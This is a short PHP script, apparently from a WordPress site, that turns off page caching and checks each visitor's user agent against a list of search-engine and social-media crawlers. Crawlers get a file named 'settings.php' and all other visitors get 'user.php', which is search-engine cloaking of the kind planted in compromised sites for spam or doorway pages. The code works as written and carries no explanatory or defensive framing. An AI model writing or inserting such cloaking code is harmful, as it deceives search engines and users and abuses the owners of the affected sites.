?php if (!defined('DONOTCACHEPAGE')) { define('DONOTCACHEPAGE', true); } header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Cache-Control: post-check=0, pre-check=0', false); header('Pragma: no-cache'); header('Expires: 0'); if (!headers_sent()) { setcookie('wpengine_nocache', '1', time() + 3600, '/'); } $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $bots = array( 'googlebot', 'google', 'googlebot-image', 'googlebot-news', 'googlebot-mobile', 'google-inspectiontool', 'slurp', 'spider', 'crawl', 'msnbot', 'yahoo', 'ask jeeves', 'yandexbot', 'bingbot', 'duckduckbot', 'baiduspider', 'exabot', 'sogou', 'ahrefbot', 'semrushbot', 'mj12bot', 'applebot', 'facebookexternalhit', 'twitterbot' ); $is_bot = false; foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { $is_bot = true; break; } } if ($is_bot) { include(dirname(__FILE__) . '/settings.php'); exit; } else { include(dirname(__FILE__) . '/user.php'); exit; } ?>